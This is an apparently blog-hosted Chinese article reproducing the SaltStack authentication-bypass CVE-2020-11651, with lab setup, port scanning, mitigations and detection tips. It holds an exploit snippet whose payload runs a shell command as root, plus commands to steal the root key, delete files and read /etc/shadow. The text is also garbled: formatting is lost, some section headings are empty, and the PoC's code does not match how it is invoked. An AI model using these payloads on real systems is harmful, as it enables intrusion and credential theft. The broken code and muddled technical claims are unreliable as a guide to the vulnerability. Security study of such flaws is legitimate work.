您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# SaltStack认证绕过漏洞CVE-2020-11651复现的示例分析
## 一、漏洞概述
### 1.1 背景介绍
SaltStack(简称Salt)是一款开源的自动化运维工具,采用Python语言开发,广泛应用于配置管理、批量任务执行和基础设施即代码(IaC)场景。其采用C/S架构,通过ZeroMQ消息队列进行通信。
### 1.2 漏洞基本信息
- **CVE编号**:CVE-2020-11651
- **漏洞类型**:认证绕过→远程代码执行
- **影响版本**:
- SaltStack 2019.2.0 - 2019.2.4
- SaltStack 3000 - 3000.2
- **CVSS评分**:9.8(Critical)
- **漏洞发现者**:F-Secure实验室团队
### 1.3 漏洞原理
该漏洞源于Salt Master服务对请求验证机制的缺陷:
1. **ClearFuncs类缺陷**:未正确验证`_prep_auth_info()`方法的调用权限
2. **WSGI接口暴露**:`/run`和`/events`端点未实施有效鉴权
3. **敏感方法调用**:攻击者可调用`wheel_async`、`runner`等高危方法
## 二、环境搭建
### 2.1 实验环境要求
```bash
# 靶机环境(Salt Master)
操作系统:Ubuntu 18.04 LTS
软件版本:SaltStack 3000.1
Python版本:3.6.9
# 攻击机环境
操作系统:Kali Linux 2020.1
工具依赖:Python 3.7+, salt, msgpack
# 在Ubuntu上安装存在漏洞的版本
sudo apt-get update
curl -L https://bootstrap.saltstack.com -o install_salt.sh
sudo sh install_salt.sh -P -M -x python3 stable 3000.1
# 验证安装
sudo salt-master --version
使用nmap扫描目标服务:
nmap -sV -p 4505,4506 <target_ip>
典型输出:
4505/tcp open zmq SaltStack Master
4506/tcp open zmq SaltStack Publisher
使用公开的PoC脚本(示例):
import salt
import salt.version
from salt.transport.client import ReqChannel
def exploit(target):
channel = ReqChannel.factory(
{'sock_dir': '/var/run/salt/master',
'transport': 'zeromq'},
crypt='clear')
# 构造恶意请求
payload = {
'cmd': 'runner',
'fun': 'salt.cmd',
'kwarg': {
'fun': 'cmd.exec_code',
'lang': 'python',
'code': 'import os; os.system("id > /tmp/pwned")'
}
}
channel.send(payload)
python3 exploit.py --target 192.168.1.100 --port 4506 get_root_key
python3 exploit.py --target 192.168.1.100 --cmd "rm -f /tmp/backdoor"
python3 exploit.py --file /etc/shadow
检查目标服务器:
$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
sequenceDiagram
Attacker->>Salt Master: 发送未授权请求
Salt Master->>ClearFuncs: 调用_prep_auth_info()
ClearFuncs-->>Attacker: 返回敏感信息
Attacker->>Wheel模块: 调用wheel_async()
Wheel模块->>System: 执行root命令
漏洞位于salt/master.py
:
class ClearFuncs(object):
def _prep_auth_info(self):
# 缺失权限验证
return {
'token': self.salt_token,
'aes': self.aes_funcs,
'pub': self.pub_key
}
升级到以下版本: - SaltStack 2019.2.5 - SaltStack 3000.3
补丁主要修改:
1. 增加@need_authentication
装饰器
2. 限制/run
端点的访问
3. 强化消息验证机制
# 禁用外部访问
iptables -A INPUT -p tcp --dport 4505:4506 -j DROP
# 启用ACL限制
vim /etc/salt/master
添加配置:
client_acl:
admin:
- .*
- '@wheel'
- '@runner'
网络层:
主机层:
架构层:
关键日志位置:
/var/log/salt/master
异常特征:
- 来自非信任IP的/run
请求
- 异常的wheel_async
调用
- 短时间内大量认证失败
相关漏洞: - CVE-2020-11652(目录遍历) - CVE-2021-25281(模板注入) - CVE-2022-22934(认证绕过)
”`
注:本文为技术研究用途,实际利用需获得合法授权。所有PoC代码需在隔离环境测试。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。